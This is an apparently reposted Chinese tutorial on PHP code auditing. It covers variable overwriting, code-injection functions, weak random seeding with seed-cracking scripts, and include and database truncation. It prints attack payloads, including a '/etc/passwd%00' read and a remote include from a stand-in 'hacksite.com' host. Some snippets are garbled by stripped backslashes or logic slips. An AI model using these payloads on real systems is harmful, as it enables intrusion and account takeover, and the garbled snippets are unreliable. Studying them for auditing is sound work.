1. 前言
PHP是一種被廣泛使用的腳本語言,尤其適合于web開發。具有跨平臺,容易學習,功能強大等特點,據統計全世界有超過34%的網站有php的應用,包括Yahoo、sina、163、sohu等大型門戶網站。而且很多具名的web應用系統(包括bbs,blog,wiki,cms等等)都是使用php開發的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。隨著web安全的熱點升級,phphtml' target='_blank'>應用程序的代碼安全問題也逐步興盛起來,越來越多的安全人員投入到這個領域,越來越多的應用程序代碼漏洞被披露。
針對這樣一個狀況,很多應用程序的官方都成立了安全部門,或者雇傭安全人員進行代碼審計,因此出現了很多自動化商業化的代碼審計工具。也就是這樣的形勢導致了一個局面:大公司的產品安全系數大大的提高,那些很明顯的漏洞基本滅絕了,那些大家都知道的審計技術都無用武之地了。
我們面對很多工具以及大牛掃描過n遍的代碼,有很多的安全人員有點悲觀,而有的官方安全人員也非常的放心自己的代碼,但是不要忘記了'沒有絕對的安全',我們應該去尋找新的途徑挖掘新的漏洞。本文就給介紹了一些非傳統的技術經驗和大家分享。
2. 傳統的代碼審計技術
WEB應用程序漏洞查找基本上是圍繞兩個元素展開:變量與函數。也就是說一漏洞的利用必須把你提交的惡意代碼通過變量經過n次變量轉換傳遞,最終傳遞給目標函數執行,還記得MS那句經典的名言嗎?'一切輸入都是有害的'。
這句話只強調了變量輸入,很多程序員把'輸入'理解為只是gpc[$_GET,$_POST,$_COOKIE],但是變量在傳遞過程產生了n多的變化。導致很多過濾只是個'紙老虎'!我們換句話來描敘下代碼安全:'一切進入函數的變量是有害的'。
PHP代碼審計技術用的最多也是目前的主力方法:靜態分析,主要也是通過查找容易導致安全漏洞的危險函數,常用的如grep,findstr等搜索工具,很多自動化工具也是使用正則來搜索這些函數。下面列舉一些常用的函數,也就是下文說的字典。但是目前基本已有的字典很難找到漏洞,所以我們需要擴展我們的字典,這些字典也是本文主要探討的。
其他的方法有:通過修改PHP源代碼來分析變量流程,或者hook危險的函數來實現對應用程序代碼的審核,但是這些也依靠了我們上面提到的字典。
3. PHP版本與應用代碼審計
到目前為止,PHP主要有3個版本:php4、php5、php6,使用比例大致如下:
由于php缺少自動升級的機制,導致目前PHP版本并存,也導致很多存在漏洞沒有被修補。這些有漏洞的函數也是我們進行WEB應用程序代碼審計的重點對象,也是我們字典重要來源。
4. 其他的因素與應用代碼審計
很多代碼審計者拿到代碼就看,他們忽視了'安全是一個整體',代碼安全很多的其他因素有關系,比如上面我們談到的PHP版本的問題,比較重要的還有操作系統類型(主要是兩大陣營win/*nix),WEB服務端軟件(主要是iis/apache兩大類型)等因素。這是由于不同的系統不同的WEB SERVER有著不同的安全特點或特性,下文有些部分會涉及。
所以我們在做某個公司WEB應用代碼審計時,應該了解他們使用的系統,WEB服務端軟件,PHP版本等信息。
5. 擴展我們的字典
下面將詳細介紹一些非傳統PHP應用代碼審計一些漏洞類型和利用技巧。
5.1 變量本身的key
說到變量的提交很多人只是看到了GET、POST、COOKIE等從用戶提交的變量的值,但是忘記了有的程序把變量本身的key也當變量提取給函數處理,所以,從本質上來說,變量本身的key值也屬于數據輸入流中的一員,應納入審計范圍中。
<?php //key.php?aaaa'aaa=1&bb'b=2 //print_R($_GET); foreach ($_GET AS $key => $value) { print $key.''; }?>
上面的代碼就提取了變量本身的key顯示出來,單純對于上面的代碼,如果我們提交URL:
http://localhost/test/key.php?<script>alert(1);</script>=1&bbb=2
那么就導致一個xss的漏洞,擴展一下如果這個key提交給include()等函數或者sql查詢呢?:)
5.2 變量覆蓋
很多的漏洞查找者都知道extract()這個函數在指定參數為EXTR_OVERWRITE或者沒有指定函數可以導致變量覆蓋,但是還有很多其他情況導致變量覆蓋的如:遍歷初始化變量
請看如下代碼:
<?php //var.php?a=fuck $a='hi'; foreach($_GET as $key => $value) { $$key = $value; } print $a;?>
很多的WEB應用都使用上面的方式,如Discuz!4.1的WAP部分的代碼
$chs = '';if($_POST && $charset != 'utf-8') { $chs = new Chinese('UTF-8', $charset); foreach($_POST as $key => $value) { $$key = $chs->Convert($value); } unset($chs);...
以及DEDECMS的common.inc.php
foreach(Array('_GET','_POST','_COOKIE') as $_request){ foreach($$_request as $_k => $_v) { if($_k == 'nvarname') { ${$_k} = $_v; } else { ${$_k} = _RunMagicQuotes($_v); } }}
CMS中的這些代碼模塊對PHP的本地變量注冊進行了模擬實現,自然也引入了同樣的變量覆蓋安全問題。
0x1: parse_str()變量覆蓋漏洞
<?php //var.php?var=new $var = 'init'; parse_str($_SERVER['QUERY_STRING']); print $var;?>訪問:http://localhost/test/var.php?var=new
該函數一樣可以覆蓋數組變量,上面的代碼是通過$_SERVER'QUERY_STRING'來提取變量的,對于指定了變量名的我們可以通過注射'='來實現覆蓋其他的變量:
<?php //var.php?var=1&a[1]=var1%3d222 $var1 = 'init'; parse_str($a[$_GET['var']]); print $var1;?>訪問http://localhost/test/index.php?var=1&a[1]=var1%3d222
上面的代碼通過提交$var來實現對$var1的覆蓋。
http://cn2.php.net/manual/zh/function.parse-str.php
0x2: import_request_variables()變量覆蓋漏洞
將 GET/POST/Cookie 變量導入到全局作用域中。如果你禁止了 register_globals,但又想用到一些全局變量,那么此函數就很有用。
http://www.php.net/manual/zh/function.import-request-variables.php
這個函數可能導致的漏洞如下:
<?php //var.php?_SERVER[REMOTE_ADDR]=10.1.1.1 echo 'GLOBALS '.(int)ini_get('register_globals').'n'; import_request_variables('GPC'); if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') { die('Go away!'); } echo 'Hello admin!';?>訪問http://localhost/test/var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
5.3 magic_quotes_gpc與代碼安全
首先,我們需要明白的是magic_quotes_gpc的版本情況
PHP 5.3.0之前有效PHP 5.3.0起廢棄PHP 5.4.0起移除,即不管任何設置均無效
當打開時,所有的 '(單引號),'(雙引號),(反斜線)和 NULL 字符都會被自動加上一個反斜線進行轉義。還有很多函數有類似的作用 如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等。
但是,PHP中存在某些地方是不受magic_quotes_gpc保護的,認識到這點很重要,因為從安全控制的最佳實踐來說,最好的做法就是將某類安全處理代碼塊封裝到一個API中,并在程序中所有涉及到這類風險的位置應用這個API,理論上說,magic_quotes_gpc也應該是要這樣,但事實上卻不是這樣,PHP中不受magic_quotes_gpc保護的變量有:
1. $_SERVER變量PHP5的$_SERVER變量缺少magic_quotes_gpc的保護,導致近年來X-Forwarded-For的漏洞猛暴,所以很多程序員考慮過濾X-Forwarded-For,但是$_SERVER變量中的其他的變量呢?2. getenv()得到的變量類似$_SERVER變量 3. $HTTP_RAW_POST_DATA與PHP輸入、輸出流主要應用與soap/xmlrpc/webpublish功能里,請看如下代碼:..if ( !isset( $HTTP_RAW_POST_DATA ) ) { $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );}if ( isset($HTTP_RAW_POST_DATA) ){ $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA); ...}...4. 數據庫操作容易忘記'的地方如:in()/limit/order by/group byif(is_array($msgtobuddys)) { $msgto = array_merge($msgtobuddys, array($msgtoid)); ...... foreach($msgto as $uid) { $uids .= $comma.$uid; $comma = ','; } ...... $query = $db->query('SELECT m.username, mf.ignorepm FROM {$tablepre}members m LEFT JOIN {$tablepre}memberfields mf USING(uid) WHERE m.uid IN ($uids)');
總的來說,magic_quotes_gpc存在兩個主要的問題
1. 寬字節錯誤導致的注入2. 覆蓋度不完整,沒有對程序中所有的輸入變量都應用安全處理
所以在PHP5.4之后,PHP就停止了對magic_quotes_gpc的支持,而鼓勵開發者遵循最佳安全開發實踐來對輸入變量進行處理。
0x1: 變量的編碼與解碼
一個WEB程序很多功能的實現都需要變量的編碼解碼,而且就在這一轉一解的傳遞過程中就悄悄的繞過你的過濾的安全防線。
這個類型的主要函數有:
1. stripslashes() 這個其實就是一個decode-addslashes()2. 其他字符串轉換函數: 1) base64_decode 對使用 MIME base64 編碼的數據進行解碼 2) base64_encode 使用 MIME base64 對數據進行編碼 3) rawurldecode 對已編碼的 URL 字符串進行解碼 4) rawurlencode 按照 RFC 1738 對 URL 進行編碼 5) urldecode 解碼已編碼的 URL 字符串 6) urlencode 編碼 URL 字符串 ... 3. unserialize/serialize4. 字符集函數(GKB,UTF7/8...) 1) iconv() 2) mb_convert_encoding()
變量和編碼本身沒有明顯的漏洞,它帶來的問題是會隱藏攻擊者的payload意圖,導致WAF、IDS等防御策略失效。
0x2: 魔術引號/轉義帶來的新的安全問題
首先我們看下魔術引號的處理機制:
1. -->/2. '-->'3. '-->'4. null-->
這給我們引進了一個非常有用的符號'',''符號不僅僅是轉義符號,在WIN系統下也是目錄轉跳的符號(只截取''后面的內容)。這個特點可能導致php應用程序里產生非常有意思的漏洞:
1. 得到原字符 <?php ... $order_sn=substr($_GET['order_sn'], 1); //提交 ' //魔術引號處理 ' //substr ' $sql = 'SELECT order_id, order_status, shipping_status, pay_status, '. ' shipping_time, shipping_id, invoice_no, user_id '. ' FROM ' . $ecs->table('order_info'). ' WHERE order_sn = '$order_sn' LIMIT 1';2. 得到''字符 <?php ... $order_sn=substr($_GET['order_sn'], 0,1); //提交 ' //魔術引號處理 ' //substr $sql = 'SELECT order_id, order_status, shipping_status, pay_status, '. ' shipping_time, shipping_id, invoice_no, user_id '. ' FROM ' . $ecs->table('order_info'). ' WHERE order_sn = '$order_sn' and order_tn=''.$_GET['order_tn'].'''; ..提交內容: ?order_sn='&order_tn=%20and%201=1/*執行的SQL語句為: SELECT order_id, order_status, shipping_status, pay_status, shipping_time, shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '' and order_tn=' and 1=1/*'
5.4代碼注射
0x1: PHP中可能導致代碼注射的函數
PHP中可能導致代碼注射的API有:
1. eval2. preg_replace+/e3. assert()4. call_user_func()5. call_user_func_array()6. create_function()7. 變量函數(動態函數)...
例如:
<?php //how to exp this code $sort_by=$_GET['sort_by']; $sorter='strnatcasecmp'; $databases=array('test','test'); $sort_function = ' return 1 * ' . $sorter . '($a['' . $sort_by . ''], $b['' . $sort_by . '']); '; usort($databases, create_function('$a, $b', $sort_function));
0x2: 變量函數與雙引號
對于單引號和雙引號的區別,我們需要仔細理解,例如
<?php echo '$a'; echo '$a';?>
我們再看如下代碼:
<?php //how to exp this code if($globals['bbc_email']) { $text = preg_replace( array('/[email=(.*?)](.*?)[/email]/ies', '/[email](.*?)[/email]/ies'), array('check_email('$1', '$2')', 'check_email('$1', '$1')'), $text);
另外,很多的應用程序都把變量用''存放在緩存文件或者config或者data文件里,在需要使用的使用通過Include方式加載進來,這樣,如果被加載的文件是變量函數(例如${${...}}這種類型的),這就容易被人注射變量函數進而代碼執行了。
5.5PHP自身函數漏洞及缺陷
0x1: PHP函數的溢出漏洞
大家還記得Stefan Esser大牛的Month of PHP Bugs項目么,其中比較有名的要算是unserialize(),代碼如下:
unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);
在以往的PHP版本里,很多函數都曾經出現過溢出漏洞,所以我們在審計應用程序漏洞的時候不要忘記了測試目標使用的PHP版本信息
http://www.php-security.org/
0x2: session_destroy()刪除文件漏洞
測試PHP版本:5.1.2 這個漏洞是幾年前朋友saiy發現的,session_destroy()函數的功能是刪除session文件,很多web應用程序的logout的功能都直接調用這個函數刪除session,但是這個函數在一些老的版本中缺少過濾導致可以刪除任意文件。測試代碼如下:
<?php //val.php session_save_path('./'); session_start(); if($_GET['del']) { session_unset(); session_destroy(); } else { $_SESSION['hei']=1; echo(session_id()); print_r($_SESSION); }?>
當我們提交構造cookie:PHPSESSID=/../1.php,相當于unlink('sess_/../1.php')這樣就通過注射../轉跳目錄刪除任意文件了。很多著名的程序某些版本都受影響如phpmyadmin,sablog,phpwind3等等。
0x3: 隨機函數
總體來說,PHP、以及其他的語言中,和隨機數有關的漏洞有以下兩種:
1. 隨機數密文空間長度問題2. 隨即發生器種子問題
1. 隨機數密文空間長度問題: rand() VS mt_rand()
<?php //on windows print mt_getrandmax(); //2147483647 echo '</br>'; print getrandmax();// 32767?>
可以看出rand()最大的隨機數是32767,這個很容易被我們暴力破解。
<?php $a= md5(rand()); for($i=0;$i<=32767;$i++) { if(md5($i) ==$a ) { print $i.'-->ok!!<br>'; exit; } else { print $i.'<br>'; } }?>
當我們的程序使用rand處理session時,攻擊者很容易暴力破解出你的session,但是對于mt_rand是很難單純的暴力的。
當然,凡是也不是絕對的,我們說mt_rand()抗窮舉性更強也是基于攻擊者完全不具有對目標隨機系統先驗知識的情況下而言的。我們來思考下面這個場景:
比如下面的代碼,其邏輯是用戶取回密碼時,會由系統隨機生成一個新的密碼,并發送到用戶的郵箱:
function sendPSW(){ .... $messenger = &$this->system->loadModel('system/messenger'); echo microtime() . '<br/>'; $passwd = substr(md5(print_r(microtime(), true)), 0, 6);}
我們發現,這個新生成的$passwd,是直接調用了microtime()后,取其MD5值的前6位。由于MD5是單向的哈希函數,因此只需遍歷microtime()的值,再按照同樣的算法(這就是算法逆向的思想),即可猜解出$passwd的值。
PHP中的microtime()有兩個值合并而成,一個是微秒數,一個是系統當前秒數。
http://www.w3school.com.cn/php/func_date_microtime.asp
因此只需要獲取到服務器的系統時間,就可以以此時間作為'基數',按次序遞增,即可猜解出新生成的密碼。因此這個算法是存在非常嚴重的設計缺陷的,程序員預想的隨機生成密碼,其實并未隨機。
在這個案例中,生成密碼的前一行,直接調用了microtime()并返回在當前頁面上,這又使得攻擊者以非常低的成本獲得了服務器時間;且兩次調用microtime()的時間間隔非常短,因此必然是在同一秒內,攻擊者只需要猜解微秒數即可。
(思考: 攻擊者能利用這個microtime()的弱隨機性漏洞進行基于時間'基數'的窮舉的一個最重要的前提就是攻擊者要獲取到服務器的系統時間,也就是在發起攻擊前要獲取到盡可能靠近關鍵點的時間,比如說在生成cookie的那一瞬間會取一次microtime(),我們攻擊者的目的就是要'窮舉'出cookie生成的那一瞬間的microtime(),為了達到這個目的,我們就必須要盡可能的獲取到盡可能靠近那個取值點的時間,才能有效的進行'時間'窮舉,否則如果時間間隔太大,窮舉就會很沒效率,還可能觸發警報)
這點在發送攻擊前一定要注意,因為每種攻擊一般都會有一些必要的成立條件的。
http://www.w3school.com.cn/php/func_date_microtime.asp
如果調用時不帶可選參數,本函數以 'msec sec' 的格式返回一個字符串,其中 sec 是自 Unix 紀元(0:00:00 January 1, 1970 GMT)起到現在的秒數,msec 是微秒部分。字符串的兩部分都是以秒為單位返回的。
0.68454800 13829648760.68459400 1382964876
我們發現,后面的'秒數部分'基本是一樣的(要達到這點需要攻擊者能夠做到在關鍵的附近獲取到microtime)。我們要做的就是不斷的窮舉前面的毫秒部分。
<?php //這個輸出的作用是模擬攻擊者獲取到了一個關鍵點附近的時間 $timebase = microtime(); print_r($timebase . ''); //關鍵點,基于microtime生成'key'的地方 $passwd = substr(md5(print_r(microtime(), true)), 0, 6); //開始進行窮舉 for($i = 15000;;$i++) { $tmp = substr(md5(print_r($timebase + $i, true)), 0, 6); print_r($tmp . ''); if($passwd == $tmp) { print_r('Found The Key: ' . $tmp . ''); break; } } print_r($passwd);?>
2) 隨即發生器種子問題: mt_srand()/srand()-weak seeding(by Stefan Esser)
偽隨機數是由數學算法實現的,它真正隨機的地方在于'種子(seed)'。種子一旦確定后,再通過同一個偽隨機數算法計算出來的隨機數,其值是固定,多次計算所得值的順序也是固定的(也就是說,只要種子seed是相同的,之后產生的偽隨機數序列就是相同的)。
在PHP 4.2.0之前的版本中,是需要通過srand()或mt_srand()給rand()、mt_rand()'播種'的。在PHP 4.2.0之后的版本中,不在需要事先通過srand()、mt_srand()來'播種'。
我們可以直接調用mt_rand(),系統會自動播種。但是有的時候,程序猿為了和以前的PHP版本兼容,PHP代碼中經常會這樣寫
mt_srand();mt_srand((double) microtime() * 100000);mt_srand((double) microtime() * 1000000);mt_srand((double) microtime() * 10000000);
這種播種的寫法其實是由缺陷的,且不說time()是可以被攻擊者獲知的,使用microtime()獲得的種子范圍其實也不是很大。
0 < (double) microtime() < 1 ----->0 < (double) microtime() * 1000000 < 1000000
變化的范圍在0~1000000之間,猜解100萬次即可遍歷所有的種子。
在PHP 4.2.0之后的版本中,如果沒有通過播種函數指定seed,而直接調用mt_rand(),則系統會分配一個默認的種子(默認不是指一個定值,這個值也是隨機的)。在32位系統上默認的播種的種子最大值是2^32,因此最多只需要嘗試2^32次就可以破解seed。
如果是在同一進程中(apache不能重啟),則同一個seed(這個是關鍵前提)每次通過mt_rand()生成的值都是固定的。
<?php mt_srand(1); echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>';?>124433597215217923154688506220026516842135443977186525816215094988992145423170
多次訪問得到的結果都是一樣的,也就是說,當seed確定時,1~N次通過mt_rand()產生的值都沒有發生變化。
建立在這個基礎上,就可以得到一種針對隨機數種子的可行的攻擊方式:
1) 通過窮舉方法猜解出種子的值2) 通過mt_srand()對猜解出的種子值進行播種3) 通過還原程序邏輯,計算出對用的mt_rand()產生的偽隨機數的值
<?php mt_srand((double) microtime() * 1000000); echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>';?>每次訪問都會得到不同的隨機數值,這是因為種子每次都會發生變化。假設攻擊者已知第一個隨機數的值:154176006(這在實際情況中很常見,即攻擊者只能獲得偽隨機序列中的一部分的值,要去猜測剩下的其他值),如何猜解出剩下的幾個隨機數呢?只需要猜解出當前用的種子即可。<?php if($seed = get_seed()) { echo 'seed is: ' . $seed . ''; mt_srand($seed); echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; echo mt_rand() . '<br/>'; } //逆向算法的邏輯,猜解出種子值 function get_seed() { for($i = 0; $i < 1000000; $i++) { mt_srand($i); //mt_rand(); 對應是第幾次調用mt_rand() 這在實際攻擊中也要攻擊者事先確認 $str = mt_rand(); //本例中是第一次調用mt_rand() //對比隨機數的值 if($str == 154176006) { //返回找到的種子seed值 return $i; } return false; } }?>seed is: 34546615417600615575341081434505522563902658470748912197622782414508751741698782154
對抗這種攻擊的方法,在輸出時不要輸入完整的偽隨機樹,比如,原本是1450875174,那就進行截斷,只輸出截斷后的數字,這樣攻擊者就無法從所得到的偽隨機數結果反推出seed了
在Stefan Esser的文中還提到一個小技巧,可以通過發送Keep-Alive HTTP頭,迫使服務端使用同一PHP進程響應請求,而在該PHP進程中,隨機數在使用時只會在一開始播種一次。
在一個web應用中,有很多地方都可以獲取到隨機數,從而提供猜解種子的可能。Stefan Esser提供了一種'Cross Application Attacks'的思路,即通過前一個應用在頁面上返回的隨機數值,猜解出其他應用生成的隨機數值。
mt_srand((double) microtime() * 1000000);$search_id = mt_rand();
如果服務器端將$search_id返回到頁面上,則攻擊者就可能猜解出當前的種子。
這個我之前分析的 Discuz修改用戶密碼POC的分析和思考http://www.freebuf.com/articles/web/12088.html原理是類似的1) 攻擊者能夠獲得偽隨機序列中的其中一個2) 攻擊者必須要確定自己獲取的數值是偽隨機序列中的哪一個(即序號)3) 通過逆向算法來窮舉出這個偽隨機數所用的種子seed4) 通過這個種子seed再生成其他的偽隨機數
這種攻擊確實可行,比如一個服務器上同時安裝了WordPress和PhpBB,可以通過phpBB來猜解出種子,然后利用WordPress的密碼取回功能猜解出新生成的密碼。Stefan Esser描述這個攻擊過程如下:
1) 使用Keep-Alive HTTP請求在phpBB2論壇中搜索字符串'a';2) 搜索必然會出來很多結果,同時也泄露了search_id;3) 很容易通過該值猜解出隨機數的種子(可以使用phpBB原生的生成算法來逆向推出種子)4) 攻擊者仍然使用Keep-Alive HTTP頭發送一個重置的admin密碼的請求給WordPress Blog;5) WordPress mt_rand()生成確認鏈接,并發送到管理員郵箱;6) 攻擊者根據已算出的種子,可以構造出此確認鏈接;7) 攻擊者確認此鏈接(仍然使用Keep-Alive頭),WordPress將向管理員郵箱發送新生成的密碼;8) 因為新密碼也是由mt_rand()生成的,攻擊者仍然可以計算出來;9) 從而攻擊者最終獲取了新的管理員密碼
5.6 特殊字符
0x1: 截斷
其中最有名的數大家都熟悉的null字符截斷
0x2: include截斷
<?php include $_GET['action'].'.php'; ?>提交'action=/etc/passwd%00'中的'%00'將截斷后面的'.php'
除了'%00'之外,還可以通過提交'action=http://www.hacksite.com/evil-code.txt?'這里'?'實現了'偽截斷'。
除了利用WEB請求中的參數分隔來進行'偽截斷'之外,還可以進行超長字符串的截斷,即通過注入超長字符串,將原本的后半段內容擠出去
<?php////////////////////////var5.php代碼:////include $_GET['action'].'.php'; ////print strlen(realpath('./'))+strlen($_GET['action']); ///////////////////ini_set('max_execution_time', 0);$str='';for($i=0;$i<50000;$i++){ $str=$str.'/'; $resp=file_get_contents('http://127.0.0.1/test/index.php?action=1.txt'.$str); //1.txt里的代碼為print 'hi'; if (strpos($resp, 'hi') !== false) { print $i; exit; }}?>
經過測試字符'.'、'/'或者2個字符的組合,在一定的長度時將被截斷,win系統和*nix的系統長度不一樣,當win下strlen(realpath('./'))+strlen($_GET['action'])的長度大于256時被截斷,對于*nix的長度是4 * 1024 = 4096。對于php.ini里設置遠程文件關閉的時候就可以利用上面的技巧包含本地文件了
0x3: 數據截斷
對于很多web應用文件在很多功能是不容許重復數據的,比如用戶注冊功能等。一般的應用程序對于提交注冊的username和數據庫里已有的username對比是不是已經有重復數據,然而我們可以通過“數據截斷”等來饒過這些判斷,數據庫在處理時候產生截斷導致插入重復數據。
1) Mysql SQL Column Truncation Vulnerabilities這個是由于mysql的sql_mode設置為default的時候,即沒有開啟STRICT_ALL_TABLES選項時,MySQL對于插入超長的值只會提示warning,而不是error(如果是error就插入不成功),這樣可能會導致一些截斷問題。測試如下:mysql> insert into truncated_test(`username`,`password`) values('admin','pass');mysql> insert into truncated_test(`username`,`password`) values('admin x', 'new_pass');Query OK, 1 row affected, 1 warning (0.01 sec)mysql> select * from truncated_test;+----+------------+----------+| id | username | password |+----+------------+----------+| 1 | admin | pass || 2 | admin | new_pass |+----+------------+----------+2 rows in set (0.00 sec)2) Mysql charset Truncation vulnerability當mysql進行數據存儲處理utf8等數據時對某些字符導致數據截斷。測試如下:mysql> insert into truncated_test(`username`,`password`) values(concat('admin',0xc1), 'new_pass2');Query OK, 1 row affected, 1 warning (0.00 sec)mysql> select * from truncated_test;+----+------------+----------+| id | username | password |+----+------------+----------+| 1 | admin | pass || 2 | admin | new_pass || 3 | admin | new_pass2 |+----+------------+----------+2 rows in set (0.00 sec)很多的web應用程序沒有考慮到這些問題,只是在數據存儲前簡單查詢數據是否包含相同數據,如下代碼:$result = mysql_query('SELECT * from test_user where user='$user' '); ....if(@mysql_fetch_array($result, MYSQL_NUM)) { die('already exist');}
這兩種漏洞都有可能導致賬戶重復注冊、管理員帳號提權等漏洞。
0x4: 文件操作里的特殊字符
文件操作里有很多特殊的字符,發揮特別的作用,很多web應用程序沒有注意處理這些字符而導致安全問題。比如很多人都知道的windows系統文件名對'空格'和'.'等的忽視,這個主要體現在上傳文件或者寫文件上,導致直接寫webshell。另外對于windows系統對'...'進行系統轉跳等等。例如:
<?php .. //Is this code vul? if( eregi('.php',$url) ) { die('ERR'); } $fileurl=str_replace($webdb[www_url],'',$url); ..... header('Content-Disposition: attachment; filename='.$filename);
很多人看出來了上面的代碼的問題,程序首先禁止使用'.php'后綴。但是下面居然接了個str_replace替換$webdbwww_url為空,那么我們提交'.p$webdbwww_urlhp'就可以饒過了。那么上面的代碼雜fix呢?有人給出了如下代碼:
<?php .. $fileurl=str_replace($webdb[www_url],'',$url); if( eregi('.php',$url) ) { die('ERR'); }
str_replace提到前面了,很完美的解決了str_replace代碼的安全問題,但是問題不是那么簡單,上面的代碼在某些系統上一樣可以突破。接下來我們先看看下面的代碼:
<?php for($i=0;$i<255;$i++) { $url = 'index.ph'.chr($i); $tmp = @file_get_contents($url); if(!empty($tmp)) echo chr($i).''; } ?>ok
我們在windows系統運行上面的代碼得到如下字符
1. < 2. > 3. P4. p
都可以打開目錄下的index.php。這可以被作為一個文件后綴名繞過的思路。
6. 怎么進一步尋找新的字典
上面我們列舉很多的字典,但是很多都是已經公開過的漏洞或者方式,那么我們怎么進一步找到新的字典或者利用方式呢?
1. 分析和學習別人發現的漏洞或者exp,總結出漏洞類型及字典2. 通過學習php手冊或者官方文檔,挖掘出新的有危害的函數或者利用方式3. fuzz php的函數,找到新的有問題的函數(不一定非要溢出的),有很多問題都可以簡單的fuzz腳本可以測試出來4. 分析php源代碼,發現新的漏洞函數'特性'或者漏洞,如果你要進一步找到新的字典,可以在php源代碼的基礎上分析下成因,然后根據這個成因來分析尋找新的漏洞函數'特性'或者漏洞。 5. 有條件或者機會和開發者學習,找到他們實現某些常用功能的代碼的缺陷或者容易忽視的問PHP編程
鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。
新聞熱點
疑難解答